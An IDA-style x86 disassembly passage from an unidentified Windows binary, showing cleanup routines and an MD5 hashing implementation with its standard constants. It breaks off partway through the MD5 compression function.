loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 2730648h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		call	near ptr 2730000h
		nop
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3D8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		call	near ptr 2750000h
		nop
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27B07FFh
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0F1E89051h, 56022ED2h, 0E890D88Bh
		dd 22ED4AAh, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; ""
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
